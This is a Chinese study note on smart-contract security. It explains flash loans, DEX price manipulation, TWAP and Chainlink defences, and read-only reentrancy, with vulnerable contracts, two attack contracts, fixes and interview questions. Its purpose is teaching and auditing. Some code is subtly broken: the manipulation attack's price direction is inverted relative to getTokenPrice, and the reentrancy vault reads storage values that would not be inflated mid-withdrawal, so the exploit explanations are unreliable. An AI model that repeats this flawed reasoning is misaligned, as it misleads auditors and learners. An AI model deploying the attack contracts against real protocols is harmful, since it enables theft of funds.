闪电贷攻击 + 价格操纵 + 只读重入(Read-Only Reentrancy)
### 1. 闪电贷(Flash Loan)原理
日期: 2026-05-26 方向: Solidity / Security 阶段: 第三阶段:安全审计 标签: #flash-loan #price-manipulation #read-only-reentrancy #twap #oracle
今日目标
- 理解闪电贷的工作原理及其在攻击中的作用
- 掌握价格操纵攻击的模式和防护(Spot Price vs TWAP)
- 深入分析只读重入(Read-Only Reentrancy)这一新型漏洞
- 学习 Euler Finance 和 Cream Finance 等真实攻击案例
核心概念
1. 闪电贷(Flash Loan)原理
闪电贷是 DeFi 的独特创新——在一笔交易内借出大量资金,交易结束前必须归还,否则整笔交易回滚。
一笔交易内:
1. 从 Aave/dYdX 借出 100万 USDC(无抵押!)
2. 用这 100万 做任何操作(套利/攻击/清算)
3. 归还 100万 USDC + 手续费
4. 如果还不上 → 整笔交易 revert,像什么都没发生
注意:步骤1-3都在一笔交易(一个区块)内完成
闪电贷合约接口
// Aave V3 Flash Loan 接口
interface IFlashLoanReceiver {
function executeOperation(
address[] calldata assets, // 借的资产
uint256[] calldata amounts, // 借的数量
uint256[] calldata premiums, // 手续费
address initiator, // 发起者
bytes calldata params // 自定义参数
) external returns (bool);
}
闪电贷本身不是漏洞
闪电贷是一个合法的 DeFi 工具,用于:
- 套利(DEX 间价差)
- 清算(快速获取抵押品清算头寸)
- 抵押品交换(一步完成借贷仓位调整)
问题在于:闪电贷给了攻击者"无限资本",放大了其他漏洞的影响。
2. 价格操纵攻击
Spot Price(即时价格)的危险
AMM 的即时价格由当前池子中的 reserve 比例决定:
Uniswap V2 价格计算:
price = reserveB / reserveA
如果池子有 100 ETH 和 200,000 USDC:
price = 200,000 / 100 = 2,000 USDC/ETH
如果攻击者用闪电贷向池子卖入 900 ETH:
池子变为 1000 ETH 和 ~20,000 USDC (x*y=k)
price = 20,000 / 1000 = 20 USDC/ETH ← 价格被操纵为原来的1%!
攻击模式
┌───────────────────────────────────────────────┐
│ 价格操纵攻击标准流程 │
├───────────────────────────────────────────────┤
│ 1. 闪电贷借出大量资产 │
│ 2. 在 DEX 中大量买入/卖出,操纵即时价格 │
│ 3. 利用被操纵的价格在目标协议中获利 │
│ - 以极低价格借入资产 │
│ - 以极高价格铸造/清算 │
│ 4. 归还闪电贷 │
│ 5. 获利 = 操纵获利 - 闪电贷手续费 - Gas │
└───────────────────────────────────────────────┘
TWAP(时间加权平均价格)防护
TWAP 使用一段时间内的平均价格,而不是即时价格:
Spot Price (即时): 容易在单笔交易内被操纵
TWAP (时间加权): 需要在多个区块持续操纵,成本极高
Uniswap V2 TWAP:
- 每个区块记录累积价格
- 查询时取两个时间点的差值除以时间
- 攻击者需要在多个区块中持续操纵,每个区块都有资本成本
Uniswap V3 TWAP:
- 内置 oracle 功能
- 可查询过去任意时间窗口的 TWAP
Chainlink vs 链上 TWAP
| 方案 | 优点 | 缺点 |
|---|---|---|
| Chainlink | 抗操纵性强、多数据源 | 中心化依赖、更新延迟 |
| Uniswap TWAP | 去中心化、无需外部依赖 | 低流动性池容易被操纵 |
| 混合方案 | 两者取长补短 | 复杂度高 |
3. 只读重入(Read-Only Reentrancy)
这是一种比传统重入更隐蔽的攻击模式。传统重入是在写操作中重入修改状态,只读重入是在中间状态时调用其他协议的只读函数(view function),获取不一致的数据。
攻击原理
正常流程:
1. 协议A.withdraw() — 发送 ETH 给用户
2. 协议A 更新内部状态(余额、总量等)
3. 协议B 读取 协议A 的状态 → 得到正确值
只读重入攻击:
1. 协议A.withdraw() — 发送 ETH 给攻击者合约
2. 攻击者的 receive() 被触发
3. 在 receive() 中调用 协议B
4. 协议B 调用 协议A 的 view 函数读取状态
5. 此时 协议A 的状态还未更新!→ 读到的是中间状态(不一致!)
6. 协议B 基于错误数据做出决策
7. 回到 协议A,状态更新完成
时间线:
t1: 协议A: 发送 ETH 状态: [旧值]
t2: 攻击者: receive()触发 状态: [旧值] ← 还没更新!
t3: 攻击者→协议B: 操作 协议B 读 协议A: [旧值] ← 错误!
t4: 协议A: 更新状态 状态: [新值]
协议B 在 t3 时基于 [旧值] 做了决策,但正确值应该是 [新值]
代码实战
漏洞示例 1:价格操纵攻击
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// 漏洞合约:使用即时价格作为预言机
contract VulnerableLending {
IERC20 public token;
IUniswapV2Pair public pair;
mapping(address => uint256) public collateral; // ETH 抵押
mapping(address => uint256) public debt; // Token 借款
// 漏洞:直接使用 DEX 即时价格
function getTokenPrice() public view returns (uint256) {
(uint112 reserve0, uint112 reserve1,) = pair.getReserves();
// 假设 token0 = WETH, token1 = token
return uint256(reserve0) * 1e18 / uint256(reserve1);
// 这个价格可以在单笔交易内被操纵!
}
function deposit() external payable {
collateral[msg.sender] += msg.value;
}
function borrow(uint256 amount) external {
uint256 price = getTokenPrice();
uint256 collateralValue = collateral[msg.sender] * price;
uint256 maxBorrow = collateralValue * 80 / 100; // 80% LTV
require(debt[msg.sender] + amount <= maxBorrow, "Undercollateralized");
debt[msg.sender] += amount;
token.transfer(msg.sender, amount);
}
}
攻击合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@aave/v3-core/contracts/flashloan/base/FlashLoanSimpleReceiverBase.sol";
contract PriceManipulationAttack is FlashLoanSimpleReceiverBase {
IUniswapV2Router02 public router;
VulnerableLending public lending;
IERC20 public weth;
IERC20 public token;
constructor(
address _pool,
address _router,
address _lending
) FlashLoanSimpleReceiverBase(IPoolAddressesProvider(_pool)) {
router = IUniswapV2Router02(_router);
lending = VulnerableLending(_lending);
}
function attack() external payable {
// 步骤0: 先在 lending 中存入少量 ETH 作为抵押
lending.deposit{value: msg.value}();
// 步骤1: 闪电贷借出大量 Token
uint256 flashAmount = 10_000_000 * 1e18; // 1000万个 Token
POOL.flashLoanSimple(
address(this),
address(token),
flashAmount,
"",
0
);
}
function executeOperation(
address asset,
uint256 amount,
uint256 premium,
address initiator,
bytes calldata params
) external override returns (bool) {
// 步骤2: 在 Uniswap 中大量卖出 Token → 砸低 Token 价格
// Token 变便宜 → ETH 相对变贵
// → 我的 ETH 抵押品价值升高(以 Token 计价)
token.approve(address(router), amount);
address[] memory path = new address[](2);
path[0] = address(token);
path[1] = address(weth);
router.swapExactTokensForETH(
amount,
0,
path,
address(this),
block.timestamp
);
// 步骤3: 此时 Token 价格被砸低
// ETH 相对于 Token 的价格极高
// 我的 ETH 抵押品可以借出大量 Token
uint256 borrowAmount = token.balanceOf(address(lending));
lending.borrow(borrowAmount); // 借出借贷池中所有 Token
// 步骤4: 在 Uniswap 买回 Token(价格恢复)+ 归还闪电贷
// ... 省略买回和归还逻辑
// 归还闪电贷
token.approve(address(POOL), amount + premium);
return true;
}
receive() external payable {}
}
修复方案
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol";
contract SecureLending {
AggregatorV3Interface public priceFeed;
// 修复1: 使用 Chainlink 价格预言机
function getTokenPrice() public view returns (uint256) {
(
/* uint80 roundID */,
int256 price,
/* uint256 startedAt */,
uint256 updatedAt,
/* uint80 answeredInRound */
) = priceFeed.latestRoundData();
// 检查价格是否过期
require(block.timestamp - updatedAt < 3600, "Stale price");
require(price > 0, "Invalid price");
return uint256(price);
}
// 修复2: 使用 TWAP
function getTWAPPrice(
address uniswapPool,
uint32 twapInterval
) public view returns (uint256) {
// Uniswap V3 TWAP
uint32[] memory secondsAgos = new uint32[](2);
secondsAgos[0] = twapInterval; // 例如 1800 (30分钟)
secondsAgos[1] = 0;
(int56[] memory tickCumulatives,) =
IUniswapV3Pool(uniswapPool).observe(secondsAgos);
int56 tickCumulativeDelta = tickCumulatives[1] - tickCumulatives[0];
int24 averageTick = int24(tickCumulativeDelta / int56(int32(twapInterval)));
// 将 tick 转换为价格
uint160 sqrtPriceX96 = TickMath.getSqrtRatioAtTick(averageTick);
return uint256(sqrtPriceX96) * uint256(sqrtPriceX96) >> 192;
}
}
漏洞示例 2:只读重入
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// 协议A: 一个 Vault
contract VaultA {
mapping(address => uint256) public shares;
uint256 public totalShares;
uint256 public totalAssets;
// 存入 ETH,获得 shares
function deposit() external payable {
uint256 sharesToMint = msg.value * totalShares / totalAssets;
shares[msg.sender] += sharesToMint;
totalShares += sharesToMint;
totalAssets += msg.value;
}
// 取出 ETH,销毁 shares
function withdraw(uint256 shareAmount) external {
uint256 ethToReturn = shareAmount * totalAssets / totalShares;
// 先发送 ETH(漏洞点!此时 totalShares 和 totalAssets 还未更新)
(bool success,) = msg.sender.call{value: ethToReturn}("");
require(success, "Transfer failed");
// 后更新状态
shares[msg.sender] -= shareAmount;
totalShares -= shareAmount;
totalAssets -= ethToReturn;
}
// view 函数:返回每个 share 对应的 ETH 数量
function pricePerShare() external view returns (uint256) {
if (totalShares == 0) return 1e18;
return totalAssets * 1e18 / totalShares;
}
}
// 协议B: 使用协议A的 pricePerShare 做定价
contract ProtocolB {
VaultA public vaultA;
function getCollateralValue(address user) public view returns (uint256) {
uint256 userShares = vaultA.shares(user);
uint256 sharePrice = vaultA.pricePerShare();
return userShares * sharePrice / 1e18;
// 如果在协议A的中间状态读取,sharePrice 会异常偏高!
}
function borrow(uint256 amount) external {
uint256 collateral = getCollateralValue(msg.sender);
require(collateral >= amount * 150 / 100, "Undercollateralized");
// 基于错误的抵押品价值放出贷款
}
}
只读重入攻击合约
contract ReadOnlyReentrancyAttack {
VaultA public vaultA;
ProtocolB public protocolB;
function attack() external payable {
// 先存入 ETH 到 VaultA
vaultA.deposit{value: msg.value}();
// 提取:触发 withdraw
vaultA.withdraw(vaultA.shares(address(this)));
}
receive() external payable {
// 在 VaultA 发送 ETH 后、更新状态前被调用
// 此时 VaultA 的状态:
// totalAssets = 已减少了发送给我的ETH ← 还没减!
// totalShares = 还未减少
// 实际上 totalAssets 包含了即将被取走的ETH
// → pricePerShare 异常偏高!
//
// 在 ProtocolB 中利用虚高的 pricePerShare 借出资产
protocolB.borrow(1000 ether);
}
}
修复方案
// 方案1: CEI 模式(先更新状态,再发送 ETH)
function withdraw(uint256 shareAmount) external {
uint256 ethToReturn = shareAmount * totalAssets / totalShares;
// 先更新状态
shares[msg.sender] -= shareAmount;
totalShares -= shareAmount;
totalAssets -= ethToReturn;
// 后发送 ETH
(bool success,) = msg.sender.call{value: ethToReturn}("");
require(success, "Transfer failed");
}
// 方案2: 重入锁(保护 view 函数也检查锁状态)
contract VaultAFixed {
bool private _locked;
modifier nonReentrant() {
require(!_locked, "Reentrancy");
_locked = true;
_;
_locked = false;
}
// 关键:view 函数也检查锁
modifier nonReentrantView() {
require(!_locked, "Reentrancy");
_;
}
function withdraw(uint256 shareAmount) external nonReentrant {
// ... 原有逻辑
}
function pricePerShare() external view nonReentrantView returns (uint256) {
// 如果正在执行 withdraw,这个函数会 revert
if (totalShares == 0) return 1e18;
return totalAssets * 1e18 / totalShares;
}
}
关键要点总结
闪电贷攻击防护矩阵
| 攻击类型 | 闪电贷作用 | 防护方法 |
|---|---|---|
| 价格操纵 | 提供操纵资金 | TWAP / Chainlink |
| 治理攻击 | 临时获取投票权 | 快照机制 / 时间锁 |
| 清算攻击 | 提供清算资金 | 合理清算参数 |
| 套利 | 提供套利资金 | 这是合法用途 |
预言机选择指南
| 场景 | 推荐方案 | 原因 |
|---|---|---|
| 主流代币 | Chainlink | 数据源多、抗操纵 |
| 长尾代币 | TWAP (>30min) | 链上可得 |
| 高频更新 | Chainlink + Pyth | 推拉结合 |
| 关键操作 | 多源聚合 | 消除单点故障 |
只读重入特征识别
满足以下条件时可能存在只读重入风险:
1. 协议A 在外部调用后更新状态(违反 CEI)
2. 协议B 依赖协议A 的 view 函数做决策
3. 协议A 和协议B 可以在同一笔交易中交互
检测方法:
- 搜索 ETH/Token 发送后的状态更新
- 检查 view 函数是否在中间状态下返回正确值
- 检查是否有其他协议依赖这些 view 函数
常见误区
误区 1:"闪电贷是漏洞"
闪电贷本身是 DeFi 的创新功能。问题在于它放大了其他漏洞——原本需要百万美元才能利用的漏洞,现在只需要几美元 Gas 费。
误区 2:"TWAP 完全不可操纵"
TWAP 大幅提高了操纵成本,但不是完全不可能。在低流动性池中,持续多个区块的操纵仍然可行。应该选择高流动性池作为 TWAP 数据源,并设置合理的时间窗口。
误区 3:"view 函数不可能有安全问题"
只读重入证明了 view 函数在中间状态下可能返回不一致的数据。虽然 view 函数不修改状态,但它返回的数据可能被其他协议用于关键决策。
误区 4:"我的协议没有闪电贷功能,不会受闪电贷攻击影响"
你的协议不需要提供闪电贷功能。攻击者从 Aave/dYdX 等平台借出闪电贷,然后对你的协议发起攻击。只要你的协议依赖可操纵的即时价格,就可能受影响。
面试关联
Q: 什么是闪电贷攻击?请描述一个具体案例
简短回答:闪电贷攻击利用同一笔交易内的无抵押借贷获取大量资金,操纵 DEX 价格或利用协议漏洞获利。
详细回答(以 Cream Finance 2021 攻击为例):
- 攻击者通过闪电贷借入大量 ETH
- 在 Cream 中存入 ETH 作为抵押
- 借出 yUSD,同时操纵 yUSD 的预言机价格
- 利用虚高的价格获取更多抵押品价值
- 反复循环放大头寸
- 最终获利约 1.3 亿美元
Q: 如何防护价格操纵?
回答:
- 不使用即时价格:DEX 的即时价格可在单笔交易内操纵
- 使用 TWAP:时间加权平均价格(至少 30 分钟窗口)
- 使用 Chainlink:多数据源聚合,抗操纵性强
- 多源聚合:结合链上 TWAP 和链下预言机
- 价格偏差检查:设置最大价格变动阈值
Q: 什么是只读重入?为什么它比传统重入更难发现?
回答:只读重入发生在协议 A 的 ETH 发送和状态更新之间——攻击者在回调中调用协议 B,协议 B 读取协议 A 的 view 函数获取中间状态数据。难发现的原因:
view函数通常被认为是安全的- 漏洞跨越两个协议——单独审计每个协议都看不出问题
nonReentrant修饰符通常不保护view函数- 工具(Slither 等)传统上不检查
view函数的重入风险
参考资源
- Euler Finance Hack Analysis — Euler 攻击详解
- Cream Finance Hack — Cream V2 攻击分析
- Read-Only Reentrancy by ChainSecurity — 只读重入报告
- Uniswap V3 Oracle — TWAP 实现
- Chainlink Price Feeds — Chainlink 文档
- Flash Loan Attacks Analysis — 学术论文
- DeFi Hack Labs — 攻击复现代码
- Immunefi Bug Bounties — 安全赏金平台